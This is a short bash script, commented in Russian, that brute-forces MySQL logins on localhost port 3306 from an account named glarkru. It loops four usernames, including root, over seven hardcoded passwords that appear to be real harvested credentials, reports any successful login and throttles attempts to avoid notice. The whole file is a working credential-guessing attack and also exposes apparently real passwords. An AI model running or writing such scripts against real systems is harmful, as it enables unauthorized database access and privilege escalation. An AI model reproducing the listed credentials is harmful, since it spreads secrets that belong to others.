#!/bin/bash
# перебор юзеров/паролей на 127.0.0.1:3306 из-под glarkru (осторожно, максимум ~20 попыток)
users=(omninode pimnik98 game root)
passes=("7Q4j4Y4qQ6c4B4h8P1n3N9p8" "sA2jP0cW5oeP6gJ1tB7laN3qE2cA8k" "CwnORXEDVrlt" "polk1090" "Mehroj9933" "D5wp38b5FFii" "x9Qz7mTb4L!ops")
for u in "${users[@]}"; do
  for p in "${passes[@]}"; do
    out=$(mysql -h127.0.0.1 -u"$u" -p"$p" -e "select 1" 2>&1)
    rc=$?
    if [ $rc -eq 0 ]; then
      echo "HIT user=$u pass=$p"
    else
      echo "fail user=$u pass=$p :: $out" | cut -c1-140
    fi
    sleep 0.4
  done
done
echo "=== done ==="
